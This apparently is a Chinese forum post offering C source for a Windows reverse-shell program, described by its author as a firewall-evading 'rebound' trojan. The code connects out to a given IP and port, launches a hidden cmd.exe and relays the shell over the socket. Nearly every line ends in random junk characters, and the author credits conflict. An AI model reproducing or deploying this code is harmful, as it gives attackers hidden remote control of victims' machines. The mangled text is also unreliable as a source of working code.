这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #$#{QEh0}
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/* ============================== H p1cVs
Rebound port in Windows NT B\4SB
By wind,2006/7 #%x4^A9 q
===============================*/ lv{Qn~\y&
#include xo?f90+(
#include mjH8q&szf
Kp!P/Q{
#pragma comment(lib,"wsock32.lib") 2o{Fp7l
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void OutputShell(); !iZ*Z Pu
SOCKET sClient; &;,w})
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f)*}L?
g\n@(T$)
void main(int argc,char **argv) C
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{ dp+wwNe
WSADATA stWsaData; rj,Sk~0Q
int nRet; U-|gtND
SOCKADDR_IN stSaiClient,stSaiServer; :JPI#zZun
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if(argc != 3) D?9=q
{ agt7b@-5=
printf("Useage:\n\rRebound DestIP DestPort\n"); koaH31Q
return; )0/DY
} @aBZ|8
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4R^'+hy|?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C[wnor!
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stSaiClient.sin_family = AF_INET; Ei}B9 &O
stSaiClient.sin_port = htons(0); @8Co5`CVl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `yc.A%5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '"=C^f
{ AEEy49e
printf("Bind Socket Failed!\n"); IDcu#Nz`
return; W"z!sf5U
} Px)VDs=k
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stSaiServer.sin_family = AF_INET; [NJ!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pNE!waR>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c~dX8+
q}(UC1|
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >b<br
{ ,7tN&R_
printf("Connect Error!"); \@gs8K#
return; 3"&6rdF\jB
} UB?a-jGZK
OutputShell(); i7*4hYY
} m<r.sq&;
sL[,J[AN;
void OutputShell() 1<pbO:r
{ HOXqIZN85
char szBuff[1024]; Ujb||(W
SECURITY_ATTRIBUTES stSecurityAttributes; `P"-9Ue=
OSVERSIONINFO stOsversionInfo; v-&^G3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |jc87(x<
STARTUPINFO stStartupInfo; G8eAj%88
char *szShell; )%WS(S>8
PROCESS_INFORMATION stProcessInformation; v;{s@CM m
unsigned long lBytesRead; GT2;o
c~z{/L
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \ tU91VIj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $wC]S4C
stSecurityAttributes.lpSecurityDescriptor = 0; p4|:u[:&
stSecurityAttributes.bInheritHandle = TRUE; P}JA"V&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ca]vK'(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }fL8<HM\'c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q]7r?nEEhW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6BNOF66kH
stStartupInfo.wShowWindow = SW_HIDE; ,8EeSnI
stStartupInfo.hStdInput = hReadPipe; W<v?D6dFq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; - C8h$P
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GetVersionEx(&stOsversionInfo); E #8 `X
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switch(stOsversionInfo.dwPlatformId) ]D%D:>9|/
{ Pgs4/
case 1: i%v^Zg&FU
szShell = "command.com"; A0o6-M]'0
break; cA AJ7?
default: Kl\A&O*{
szShell = "cmd.exe"; ] E`J5o}op
break; e,|"9OK
} fHR1kuy
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _8DY9GaE
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send(sClient,szMsg,77,0); qEX59v
while(1) {_KuztJGA
{ Vad(PS0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); phEM1",4T
if(lBytesRead) +2MsyA?6_
{ I?Eh
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J4xt!RW!
send(sClient,szBuff,lBytesRead,0); wzT+V,
} pA"pt~6
else Xq+7l5LP
{ $l-j(=Md
lBytesRead=recv(sClient,szBuff,1024,0); A&)P_B1|
if(lBytesRead<=0) break; }a-ikFQ]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^FF{71;
} c;BQ$je}
} !W{|7Es?.
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return; \d]&}`'4{f
}